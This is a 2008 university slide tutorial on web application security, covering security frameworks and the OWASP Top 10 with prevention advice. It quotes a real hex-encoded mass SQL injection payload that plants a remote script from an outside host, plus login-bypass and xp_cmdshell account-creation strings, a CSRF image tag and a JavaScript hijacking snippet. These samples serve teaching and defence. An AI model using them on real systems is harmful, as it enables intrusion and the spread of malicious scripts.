Web Application Security Tutorial

Web Application Security

10/28/2008

Neil Matatall, Security Programmer Analyst

Marina Arseniev, Director – Enterprise Architecture, Security, and Data Management Services

Copyright © 2008 The Regents of the University of California All Rights Reserved. Permission is granted for this material to be shared for non-commercial, educational purposes, provided that this copyright statement appears on the reproduced materials.

Puzzle – What is this?

"GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Answer

"GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' wh??re '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

http://www.dolcevie.com/js/converter.html

Do you know?

75% of attacks today happen at the Application Layer (Gartner).

Many “easy hacking recipes” published on web.

Security holes in the web application layer can make a perfectly patched and firewalled server completely vulnerable.

The cost and reputation savings of avoiding a security breach are “priceless”

High Schools hacked by High Schoolers http://www.privacyrights.org

May 2007 17,400 identities breached

Two high school seniors hacked into the district's computer network potentially compromising the personal information including Social Security numbers of students and employees.

March 2008 35,000 identities breached

A Technical High School senior hacked into a district computer and collected Social Security numbers and employee addresses

May 2008 50,000 identities breached

A 15-year-old student gained access to files on a computer at Downingtown West High School. Private information - names, addresses and Social Security numbers were accessed

Agenda

Essentials of a Comprehensive Web Security Program

Security Frameworks

Open Web Application Security Project (OWASP) Top 10 list

Additional Vulnerability Topics

Integrating Security into the Software Development Life Cycle (SDLC)

Procurement Practices

Tools

Please use printed Glossary as needed!

Essentials of a Comprehensive Web Security Program – 33 Principles National Institute of Standards and Technology (NIST) Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security

Security Foundation

Establish a sound security policy as the “foundation” for design

Treat security as an integral part of the overall system design.

Delineate the physical and logical security boundaries governed by associated security policies

Train developers on secure software

Risk Based

Reduce risk to an acceptable level

Assume external systems are insecure

Identify potential trade-offs between reducing risk and increased costs and decrease in other aspects of operational effectiveness

Implement tailored system security measures to meet goals

Protect information while processed, in transit, and in storage.

Consider custom products to achieve adequate security

Protect against all likely classes of “attacks”

*

33 Principles - Continued

Ease of Use

Use open security standards for portability and interoperability

Use common language in developing security requirements.

Design security to allow for regular adoption of new technology.

Strive for operational ease of use.

Increase Resilience

Implement layered security (no single point of vulnerability).

Design and operate an IT system to limit damage - be resilient

Assure system is continually resilient to expected threats

Limit or contain vulnerabilities.

Isolate public access systems from mission critical resources

Use boundary mechanisms to separate computing systems and network infrastructures.

Design and implement audit mechanisms to detect unauthorized use and for incident investigations.

Develop and exercise contingency / disaster recovery procedures

33 Principles - Continued

Reduce Vulnerabilities

Strive for simplicity

Minimize the system elements to be trusted

Implement least privilege

Do not implement unnecessary security mechanisms.

Ensure proper security in the shutdown or disposal of a system

Identify and prevent common errors and vulnerabilities

Design with Network in mind

Implement security through a combination of measures distributed physically and logically

Formulate security measures to address multiple overlapping information domains

Authenticate users and processes to ensure appropriate access control decisions

Principle 33. Use unique identities to ensure accountability

Security Frameworks – a few

CobIT Control Objective over Information and Related Technology (CobIT). Issued by the IT Governance Institute for managers, auditors, and IT users.

An internationally accepted IT governance and control framework for risk management, audits, measures, best practices, controls, and security.

ITIL

The Information Technology Infrastructure Library (ITIL) is a set of concepts and techniques for managing IT infrastructure, development, and operations.

Security is not covered in great detail.

Security Frameworks – Continued

NIST The National Institute of Standards and Technology (NIST) is a non-regulatory federal agency within the U.S. Commerce Department’s Technology Administration.

The Federal Information Security Management Act (2002) set aside money for NIST to develop new standards for securing government agencies.

NIST Recommended Security Controls for Federal Information Systems http://csrc.nist.gov/publications/nistpubs/800-53-Rev2/sp800-53-rev2-final.pdf – 188 pages

IDENTIFIER FAMILY CLASS

AC Access Control Technical

AT Awareness and Training Operational

AU Audit and Accountability Technical

CA Certification, Accreditation, and Security Assessments Management

CM Configuration Management Operational

CP Contingency Planning Operational

IA Identification and Authentication Technical

IR Incident Response Operational

MA Maintenance Operational

MP Media Protection Operational

PE Physical and Environmental Protection Operational

PL Planning Management

PS Personnel Security Operational

RA Risk Assessment Management

SA System and Services Acquisition Management

SC System and Communications Protection Technical

SI System and Information Integrity Operational

ISO 27001:2005 The International Organization for Standardization (ISO) is the world’s largest developer of standards. ISO 27001 consists of short security control statements.

It helps identify, manage and quantify threats and creates a level playing field that can be applied worldwide.

Benchmarking against it can be a useful indicator of core security controls and practices.

Why doesn’t the acronym match?

ISO 27001 Controls

Security policy

Organization of assets and resources

Asset classification and control - asset protection

Personnel security

Physical and environmental security

Communications and operations management

Access control

Systems development and maintenance

Information security incident management

Business continuity management

Compliance

ISO 27001 Control examples

acceptable use and control of databases

control of network system user access rights

locks on doors (types of)

equipment location

cabling security

Email policy and enforcement

capacity planning

information back-up

network security

business continuity plans

contracts of employment

third party agreements

electronic commerce

privacy of personal information

information leakage, publicly available information

controls against malicious code

fault and security event logging

input and output data validation

user authentication for external connections etc.

ISO/IEC 27001:2005 “Specification for an Information Security Management System” - http://www.iso27001security.com/html/27001.html

PCI DSS

The Payment Card Industry Data Security Standards (PCI DSS) is a security standard to protect customer credit card data.

Includes requirements for security management, policies, procedures, network architecture, and software design.

Developed by the PCI Security Standards Council, including American Express, Discover Financial Services, JCB International, MasterCard Worldwide and Visa Inc. International.

Facilitates the broad adoption of consistent data security measures globally.

Compliance is required if credit cards are processed – fined otherwise.

PCI DSS – Payment Card Industry Data Security Standard Requirements https:// www.pcisecuritystandards.org/index.shtml

Build and Maintain a Secure Network

Install and maintain a firewall configuration to protect cardholder data

Do not use vendor-supplied defaults for system passwords and other security parameters

Protect Cardholder Data

Encrypt transmission of cardholder data across open, public networks

Maintain a Vulnerability Management Program

Use and regularly update anti-virus software

Develop and maintain secure systems and applications

Implement Strong Access Control Measures

Restrict access to cardholder data by business need-to-know

Assign a unique ID to each person with computer access

Restrict physical access to cardholder data

Regularly Monitor and Test Networks

Track and monitor all access to network resources and cardholder data

Regularly test security systems and processes

Maintain an Information Security Policy

*

PCI DSS – Self-Assessment Questionnaire D and Attestation of Compliance – 27 pages! https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc

Section 6.5(a) Are all web applications developed based on secure coding guidelines such as the Open Web Application Security Project guidelines?

Section 6.5(b) Is custom application code reviewed for code vulnerabilities?

Section 6.5(c) Is prevention of common coding vulnerabilities covered in software development processes, including the following?

Unvalidated input, broken access control, broken authentication and session management, cross-site scripting attacks, buffer overflows, injection flaws, improper error handling?

Section 6.6 – Are all web-facing applications protected by applying either of:

Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security

Installing an application layer firewall in front of web-facing applications

Adoption of a Standard

Which standards are best?

ISO and NIST are expensive to implement comprehensively

ISO, CobIT, PCI are applicable if dealing globally

PCI is relatively short, extremely detailed and comprehensive

Think about applying PCI DSS to non-credit card taking Web environment. We are…

Agenda

Security Frameworks – ISO, NIST, PCI…

Open Web Application Security Project (OWASP) Top 10 list

Integrating Security into the SDLC

Tools

OWASP’s Top 10 List

Cross Site Scripting (XSS)

Injection Flaws

SQL Injection, XPATH Injection, etc

Malicious File Execution (remote file inclusion)

Insecure Direct Object Reference

Cross Site Request Forgery (CSRF)

Information leakage and Improper Error Handling

Broken Authentication and Session Management

Insecure Cryptographic Storage

Insecure Communications

Failure to Restrict URL Access

From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Themes of this Talk

NEVER trust user input! Always validate!

This includes headers!

Verify the type and length of parameters

Syntactic sugar and “clever” programming tricks can lead to security holes

Always, always, always, use whitelists instead of blacklists

Use the principle of least privileges

This Presentation's Re-ordered Top 10 List

Injection Flaws

Cross-Site Scripting (XSS) Attacks

Malicious code that can change the look and function of a legitimate web application

Originates from old phishing attacks but less obvious and more dangerous to the user/victim

More widespread now because of move to more rich Internet applications using dynamic content and JavaScript and the latest AJAX trend

Websites XSS’d

A hacker was able to insert JavaScript code into the Obama community blog section

The JavaScript would redirect the users to the Hillary Clinton website

YouTube Demonstration

Read about it on ChannelWeb

Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs.

Cross-Site Scripting (XSS) Attacks

The Impact of XSS

Data residing on the web page can be sent anywhere in the world

Including cookies!

Facilitates many other types of attacks

Cross-Site Request Forgery (CSRF), Session Attacks (more later)

Your site’s behavior can be hijacked

Our first demo…

Stored XSS Attack

Preventing XSS

Escape all user input when it is displayed

Escaping converts the output to harmless html entities

<script> becomes <script>

but still displayed as <script>

Methods:

Java Standard Tag Llibrary (JSTL) <c:out/>

org.apache.commons.lang.StringEscapeUtils

NOTE: Java’s Expression Language (EL) does not escape output!

Preventing XSS - Continued

Ensure your filter uses a white list approach

Filters based on blacklisting have historically been flawed

E.g. Ruby on Rails sanitize method

New encoding schemes can easily bypass filters that use a blacklist approach

Do not accept and reflect unsolicited input

Reflecting every parameter for confirmation pages

Printing out the session/request parameters in error pages

Great XSS resource: http://ha.ckers.org/xss.html

Injection Flaws

From http://www.owasp.org/index.php/Top_10_2007 :

“ A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks. “

Occurs when an authenticated user unknowingly initiates a request

The request is handled as if it were intentional

Usually happens without the user being aware!

CSRF attacks are difficult to track

Commands are executed in the context of the victim

The request comes from the users IP address so it is difficult to hunt down the hacker

The hacker is essentially given all of the user’s privileges

XSS facilitates CSRF via “Link Injection”

CSRF Example

A hacker posts to a message board containing an image tag

<img src= “http://yourbank.com/transfer? to_account=my_account_number&amount=all_of_your_money>

An unsuspecting user logs into yourbank.com and authenticates

The user then visits said message board

A request is issued from the victim’s browser to the bank’s website

The bank’s website transfers the user’s money to the hacker’s account

Cross Site Request Forgery Demo

CRSF Demo

Solution

Add a secondary authentication mechanism

Such as an impossible to guess token

Eliminate XSS attacks

Require a confirmation page before executing potentially dangerous actions

Use POST as your form action and only accept POST requests on the server for sensitive data !

Incoming CSRF requests will fail since the parameter is in the URL and not the post body

Post vs Get

Requests come in two flavors: POST & GET

GET: parameters are sent in the URL itself.

POST: parameters are sent in the request body

DO NOT use GET for anything that changes the server state or contains sensitive information

GET requests are logged in the web server access logs

Also shows up in the browser history

For example GET /login?username=me&password=suparsekretpasswerd

DO use POST for every action that changes the server state and reject all non-POST methods

<Script>, Image, Link and some other HTML tags ALWAYS use GET. By accepting POST only on Server, vulnerability is mitigated.

Prevents unintentional actions

Most search engines won’t crawl POST forms

Helps prevent duplicate submissions

Injection Flaws

Chinese Olympian Gymnast Age Confusion

He Kexin’s age is under a lot of scrutiny

Her passport shows her birth date as 1/1/1992

Using the cache from a Chinese search engine Baidu, the Stryde Hax group found multiple Excel documents listing He’s birth date as 1/1/1994

Assume all information can become public

Information Leakage and Improper Error Handling

ANY information you give to a hacker CAN and WILL be used to hack your site

Remove passwords or other revealing information in source code

Application / Database Error Messages

Misconfigured servers

This information may be indexed by search engines!

Application Error Messages ERROR [credit-card-db] (MySqlSystem.java:1331) - Invalid column name java.sql.SQLException: Invalid column name ‘social_security_numbre’: select username, password, ssn from users where id = ? sun.jdbc.rowset.CachedRowSet.getColIdxByName(CachedRowSet.java:1383) at com.mysql.Driver.MySQLDriver.a(MySQLDriver.java:2531) at sun.jdbc.rowset.CachedRowSet.getString(CachedRowSet.java:2167) at com.ppe.db.MySqlSystem.getReciPaying(MySqlSystem.java:1318) at control.action.FindUserAction.perform(FindKeyUserAction.java:81) at org.apache.struts.action.ActionServlet.processActionPerform(ActionServlet) at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1586) at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:492) at javax.servlet.http.HttpServlet.service(HttpServlet.java:740) at javax.servlet.http.HttpServlet.service(HttpServlet.java:853) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(Appl icationFilterChain.java:247)

Misconfigured, Default Settings, Unpatched Systems

By default, you may already be leaking information!

Includes all “infrastructure” applications

Web Server (Apache)

Access logs are public by default

Directory listing is enabled by default

Application Server (Tomcat, PHP, Coldfusion, etc)

Database Server (MySQL, MS-SQL, etc)

Public accounts enabled by default for MS SQL Server

3 rd party applications (PHP message board, webmail, etc)

Hackers look for easy access to your server

Exploit a known vulnerability if infrastructure application doesn’t have latest patches

Gain access to server using default credentials

Use default installed “snoop” or example pages to learn more about your server

Forced Directory Browsing

Try to force directory browsing by eliminating anything past the various “/” in the URLs of your web application

If directory browsing is allowed on your web server, files you don’t want public could be displayed or at the least give the hacker more information about your system

Robots.txt

robots.txt files are the first place hackers look

Robots.txt is web accessible and contains URLs you don’t want indexed by a search engine. This might be the kind of data hackers want

Use access controls instead

Google Hacking

Popularized by johnny.ihackstuff.com

Uses Google search engine and advanced query abilities to find insecure data files and misconfigured/unpatched servers indexed on the Web

Wikto (Sensepost) or SiteDigger (Foundstone) - free tools used along with ihackstuff’s Google Hack Database to see if anything from your domain is indexed

Google Hacking Demo

"admin account info" filetype:log

Injection Flaws

“ A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization .”

Fancy term for parameter tampering

Involves modifying parameters to access unauthorized materials

E.g. /BankAccount.jsp?acct_nmbr=123

The hacker modifies the parameter to view another users account

Demo

Bypass Data Layer Access Control

Solution

Properly validate data!

Cookie data, URL parameters, all HTML Form data (even hidden, select, radio and checkbox types)

Restricting length of HTML text boxes, options in select boxes, and JavaScript validation can all be easily sidestepped and are not secure

All input data MUST be validated server side for each request – client side validation is EASILY bypassed

Do not expose internals to the user

Such as IDs (if possible/necessary)

Use an indirect reference map with hard to guess keys (hash)

POST /BankAccount.jsp?acct_nmbr=d83OJdm3

The server then uses the key to get the real value

Key: d83OJdm3 value: 123

Use Proper Authorization

Architect your application to check authorization with every request

Back to the bank example

Before: select * from accounts where account_number = ?

After: select * from accounts where account_number = ? and user_id =?

Injection Flaws

“ Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly. “

Can be caused by:

Improper authentication

Incorrect authorization

Unprotected admin areas

Usually caused by easy to guess URLs

Injection Flaws

UCLA Security Incident

30,000 people affected directly; 800,000 notifications sent out 12/2006

Unsupported/forgotten legacy web application was targeted with escalated database privileges

Web application vulnerability exposed data online using SQL injection

Hacked server was then used to gain access to more sensitive servers

Impact of SQL Injection - Dangerous

At best: you can leak information

Depending on your configuration, a hacker can

Delete, alter or create data

Grant access to the hacker silently

Escalate privileges and even take over the OS

SQL Injection Attacks “ SQL injection is a security vulnerability that occurs in the database layer of an application. Its source is the incorrect escaping of dynamically-generated string literals embedded in SQL statements. “ (Wikipedia)

SQL Injection Attacks

Login Example Attack

Text in blue is your SQL code , Text in orange is the hacker input, black text is your application code

Login: Password:

Dynamically Build SQL String performing authentication:

“ SELECT * FROM users WHERE login = ‘ ” + userName + “ ’ and password= ‘ ” + password + “ ’ ” ;

Hacker logs in as: ‘ or ‘’ = ‘’; --

SELECT * FROM users WHERE login = ‘ ’ or ‘’ = ‘’; -- ‘ and password=‘’

More Dangerous SQL Injection Attacks

Hacker creates a Windows Account:

SELECT * FROM users WHERE login = ‘ ’; exec master..xp_cmdshell 'net users username password /add';-- ’ and password= ’’

And then adds himself as an adminstrator:

SELECT * FROM users WHERE login = ‘ '; exec master..xp_cmdshell 'net localgroup Administrators username /add';-- ’ and password= ‘’

SQL Injection examples are outlined in:

http:// www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

http://www.unixwiz.net/techtips/sql-injection.html

SQL Injection Demo…

String SQL Injection

Blind SQL Injection

Preventing SQL injection

Use Prepared Statements (aka Parameterized Queries)

“ select * from accounts where id = “ + id

vs

“ select * from accounts where id =?”

Validate input

Strong typing

If the id parameter is a number, try parsing it into an integer

Business logic validation

If you are expecting a telephone number, test it with a Regular Expressions

Preventing SQL injection - Continued

Use the principle of least privileges

If the query is reading the database, do not run the query as a user with update permissions (dbo, drop, etc)

Quiz: Is running a Web Application as the Database System Admin “sa” account a good practice?

ESCAPE questionable characters (ticks, --, semi-colon, brackets, etc.)

Injection Impacts More Than SQL

“ Injection Flaw” is a blanket term

SQL Injection is most prevalent

Other forms:

XPath Injection

Command Injection

LDAP (Lightweight Directory Access Protocol) Injection

DOM (Document Object Model) Injection

JSON (Javascript Object Notation) Injection

Log Spoofing

On and on and on…

Another Injection Demo

XPath Injection

Injection Flaws

Malicious File Execution

“ Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.”

Happens when code is executed on the server from a non-trusted source

All web applications are vulnerable to malicious file execution if they accept filenames or files from the user.

Classic example: PHP is particularly vulnerable

Hacker visits a website that allows uploads

Hacker uploads a malicious code

Hacker learns directory structure and sends the path as a parameter

PHP code is executed on the server

include $_REQUEST[‘filename’];

Demo

Command Injection

Impact

Code runs as the current user for the web server

Can modify, delete anything the user has access to

Can install rootkits

Can take over the entire server if misconfigured (a.k.a. the web server runs as root)

Solution

Architect and design application to avoid it.

Never allow the design to use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions).

Never use a parameter to execute a Server Side Include directly

Add firewall rules to prevent web servers making new connections to external web sites and internal systems.

Isolate web server in its own VLAN or private subnet.

Use an indirect object reference map

Validate - check any user supplied files or filenames taken from the user for legitimate purposes, which cannot obviate other control

Injection Flaws

Insecure Communication

Sensitive information being sent over an unencrypted channel can be snooped very easily

Use SSL to pass sensitive information to and from browsers

Encrypt the transmission of email

Encrypt authentication requests

Demo

Basic Authentication Demo

Injection Flaws

Authentication Checks

From http://www.owasp.org/index.php/Top_10_2007 “Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.”

Never store passwords in plaintext

Encrypt or Hash (preferred)

Architect applications to check every request to see that the authentication data is still valid

Issue a new session token when the user authenticates

If you absolutely must use “remember me” functionality, use a difficult to guess authentication cookie

Authentication data is sent with every request, so protect it

Demo

Spoofing an Authentication Cookie

Hardening Authentication

Every request to each page of a web application should be revalidated for proper authenticated and authorized access

Check validity of authentication cookie on each request. Validate original IP address is the same as current request IP and age since created or last checked. Deny access if not.

Check that the authenticated user is authorized to access your application (using internal database of users, LDAP, authorization service, etc) on each request

Session Attacks

Session Fixation: The hacker predicts a valid session key (usually via phishing)

Session Hijacking: The hacker masquerades as another user by stealing the users session id (usually via XSS)

Demos

Session Fixation

Session Hijacking (Great demo, not covered in this session)

Solution

Use built in session management!

Most application servers do a pretty good job of this

Use secure randomly generated session keys to make prediction impossible

Don’t expose the user to session ids if possible

Use reasonable session timeouts

Injection Flaws

From http://www.owasp.org/index.php/Top_10_2007 : “Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.”

Use latest standard encryption methods

They are standards for a reason! And they change over time

Use strong standard encryption methods

Stop using Message-Digest Algorithm 5 (MD5), Secure Hash Algorithm (SHA1), Data Encryption Standard (DES)

Use SHA-256, Advanced Encryption Standard (AES), Rivest/Shamir/Adleman Public Key Encryption (RSA)

Encrypt stored passwords with above methods

Agenda

OWASP’s Top 10 list

Tools

Additional Topics

Concurrency Problems

Web Service Security

AJAX Security

Caching Concerns

Concurrency: Thread Safety

Web applications are by nature multithreaded

Access to unsynchronized shared resources can cause unexpected results

Use automated tools such as JMeter to reliably test

Reference on Java Web Application Thread Safety

Impacts of Threading Problems

One user’s information can be displayed to another user

Or even worse, one user’s information gets stored as another user’s

Can cause unexpected application behavior

Thread Safety Demo

Thread Safety Problems

The Problem (Java Code)

// this.current user corresponds to a class field

this.currentUser = request.getParameter (USER_NAME, "");

if (!"".equals(currentUser))

{

doActionThatBlocksForAWhile();

String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'";

...snip....

}

This is actually a double-whammy! Who sees the “other” mistake?

Solutions

Every thread gets its own copies of local variables

Does not apply to fields (or static variables)

Use immutable objects whenever possible

Immutable objects cannot be changed

Use synchronized access objects

E.g. Java: Hashtable, Vector, etc

Vs HashMap, ArrayList, etc

Additional Topics

AJAX Security

Caching Concerns

Web Services

Web Services allow multiple applications to interface remotely

Promotes interoperability

We will focus on two types:

REST: REpresentational State Transfer

SOAP: Simple Object Access Protocol

“ Testing can be more challenging due to not having a ‘normal’ interface”

Gunnar Peterson

REST

Uses existing HTTP structure

Guidelines:

Must use SSL to protect the messages

Use hashes to verify integrity

Advantages:

No dependencies for security; uses built in infrastructure

Encryption is done at the network layer

SOAP

SOAP security benefits from being heavily standardized when compared to other technologies

Managed by Organization for the Advancement of Structured Information Standards (OASIS)

Interoperability is a high priority

Security is managed by a “Handler Chain”

Handlers are independent and can selectively apply “security”

Order matters!

The server will execute each Handler in reverse order from the client. Incorrect execution order can lead to garbage data!

SOAP - Continued

Provides end-to-end security at the Application Layer or the Network Layer

Message contents can be selectively encrypted or the entire message can be encrypted by SSL

SOAP Security Recommendations

Always validate input (yes, again)

Input from a web service call is just as susceptible to malicious input

From Security Concepts, Challenges, and Design Considerations for Web Services Integration

SOAP Security Recommendations - Continued

Secure your Web Service Definition Language WSDL

Your WSDL leaks the interface to your web services

Use proper access controls methods

Defend against XDoS (XML Denial-of-service)

DO NOT use Document Type Definition DTDs* – vulnerable to infinite recursion, use XML schemas instead

Throttle incoming messages

From Security Concepts, Challenges, and Design Considerations for Web Services Integration

SOAP Standards: WS-* (Web Services-*)

WS-Security

Includes authentication, Kerberos, X.509, SAML, Attachment mechanisms among others

XML encryption and digital signatures

Protects the privacy and integrity of your messages respectively

WS-SecureConversation

Provides a “session” to the stateless SOAP

WS-Policy

set of specifications that describe the capabilities and constraints of the security policies on intermediaries and end points and how to associate policies with services and end points

WS-Reliability

a protocol that allows SOAP messages to be delivered reliably between distributed applications in the presence of software component, system, or network failures

Many more…

Additional Topics

AJAX Security

Caching Concerns

AJAX Security

Cutting edge in terms of web interfaces and security practices

Susceptible to “shortcut” issues related to inexperienced developers

Difficult!

Easily overused when traditional methods are not only safer, but functional

AJAX Request Lifecycle XmlHTTPRequest Response (text, JSON, XML, etc) There is nothing special about an XHR request other than its asynchronicity

Potential Issues With AJAX

Responses are sent to the browser, JavaScript code updates the page

Be careful what you send back

Do not leak information

Do NOT trust values that were fed via AJAX

Update code is CLIENT side

The user can see the code being executed

Can take advantage of code more easily

Tips

Do NOT overuse AJAX

Do processing on the server side if possible

Send raw html back to the client

Do not return more information than is necessary to complete the request

Always validate your input!

AJAX Demos

JSON Injection

XML Injection

DOM Injection

JavaScript Hijacking

Attack vector mostly specific to AJAX

XSS + CSRF = JavaScript Hijacking

Exploits JavaScript’s flexibility

You are free to override ANYthing in JavaScript including the base object constructor!

Exploits your trust in the “same-origin policy”

Fortify's White Paper

Same-Origin Policy

From Wikipedia: It prevents a document or script loaded from one "origin" from getting or setting properties of a document from a different "origin".

Can be bypassed using the <script> tag to retrieve JSON

How does it work?

The user visits an unfriendly site and executes the following JavaScript

function Object() {

this.id setter = function (x){ doBadStuff (x) }

}

The hacker overrides the JavaScript default behavior

The unfriendly site makes a request to a friendly site

<*script src="http://mail.google.com/mail/?_url_scrubbed_">

Similar to CSRF, if the user has authenticated the cookies are sent with the request (exploits your trust in the same origin policy)

Suppose the request returns JSON

[{“id”:”123”, “password”:”educause”,“salary”:”4000000”}]

The returned JSON gets executed; the overridden setter hook gets called

Solution

Two strategies (Fortify Software recommends both)

Declining Malicious Requests

Require a valid “request id”

Use POST

Only defends against one type of attack

Preventing Direct Execution of the response.

Insert code that nullifies the overridden method

“ the legitimate client application can take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious application can only execute it using a <script> tag.”

Wrap the objects in /* [{stuff}]*/: intercepted values are not interpreted

Remove the nullifying code

Use parseJSON instead of eval

“Reverse” JavaScript Hijacking and Mashups

In mashups, many AJAX responses will contain a function reference at the end of a response to promote interoperability

The user visits a friendly website and gets XSS’d

The malicious code overrides the returned method

Code is executed in the context of the friendly page

“ An application can be mashup-friendly or it can be secure, but it cannot be both.”

Additional Topics

AJAX Security

Caching Concerns

Browser Page Cache

Pages with sensitive data should not be cached: page content is easily accessed using browser’s history

Use the following tags to disable page caching: <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> <META HTTP-EQUIV="Cache-Control" CONTENT=“no-store, no-cache"> <META HTTP-EQUIV="Expires" CONTENT="-1">

Be aware of differences between browsers!

Do-not-cache tags may not apply to binary content and may differ between platforms and browsers

Many documents are stored in temporary files on desktop after viewing – such as Excel files

Browser History

Sensitive data should not be included as a parameter in the URL of any Web pages

http://www.uci.edu/getdata.jsp?ssn=333224444&ucinetid=johnsmith&password=blah

Stored and viewable in client browser’s history

Stored in Web server access logs

Use HTTP POST (not GET) requests to pass parameters to your application

Browser Page Cache & History

Browser Cookies

Sensitive data should not be stored in cookies

Cookies are stored on client browser, can be viewed by user/hacker, and possibly sent unencrypted

Firefox plugin:

Use non-persistent cookies (that disappear once a browser is closed) instead of persistent ones.

Agenda

Tools

NIST Software Development Life Cycle (SDLC)

OWASP refers to NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A *

Initiation - During the initiation phase, the need and purpose of the system is documented. Activities include conducting an impact assessment in accordance with FIPS-199 ( http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf ).

Development/Acquisition - During this phase, the system is designed, purchased, programmed, developed, or otherwise constructed. This phase often consists of other defined cycles, such as the system development cycle or the acquisition cycle. Activities include determining security requirements, incorporating security requirements into specifications, and obtaining the system.

Implementation - During implementation, the system is tested and installed or fielded. Activities include installing/turning on controls, security testing, certification, and accreditation.

Operation/Maintenance - During this phase, the system performs its work. Typically, the system is also being modified by the addition of hardware and software and by numerous other events. Activities include security operations and administration, operational assurance, and audits and monitoring.

Disposal - The disposal phase of the IT system life-cycle involves the disposition of information, hardware, and software. Activities include moving, archiving, discarding or destroying information and sanitizing the media.

*http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf

NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf SDLC | Security Considerations -Appropriateness of disposal -Exchange and sale -Internal organization screening -Transfer and donation -Contract closeout _______________ -Information Preservation -Media Sanitization -Hardware and Software Disposal -Performance measurement -Contract modifications -Operations Maintenance ________________ -Configuration Management and Control – Continuous monitoring -Installation -Inspection -Acceptance testing -Initial user training -Documentation ____________________ -Inspection and Acceptance -System Integration -Security Certification -Security Accreditation -Functional Need Doc. -Market Research -Feasibility Study -Requirements Analysis -Alternatives Analysis -Cost-Benefit Analysis -Risk Management -Acquisition Planning __________________ - Risk Assessment -Security Functional Requirements Analysis -Security Assurance Requirements Analysis -Cost considerations -Security Planning -Security Control Development - Security Test and Evaluation - Linkage of Need to Mission and Performance Objectives -Assessment of Alternatives to Capital Assets -Preparing for investment and budgeting ________________ -Security Categorization -Preliminary Risk Assessment Disposition Operations/ Maintenance Implementation Acquisition/ Development Initiation

Remember - Essentials of a Comprehensive Web Security Program – Principles?*

Risk Based

Principle 8. Implement tailored system security measures to meet organizational security goals

Principle 11. Protect against all likely classes of “attacks.”

* NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A ( http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf)

8 Steps to Integrating Security into your SDLC

NIST and ISO are complex and expensive to implement. NIST recommendation is to adopt and modify as necessary.

Create and document a formal program

Train

Requirements

Architecture and Design

Implementation

Deployment

Operations / Maintenance

Decommissioning

Integrating Security into SDLC Step 1: Secure application deployment program

Document the standards, practices and policy for development or acquisition and maintenance of any system.

Use NIST, ISO 27001:2005, PCI, or any other security standards.

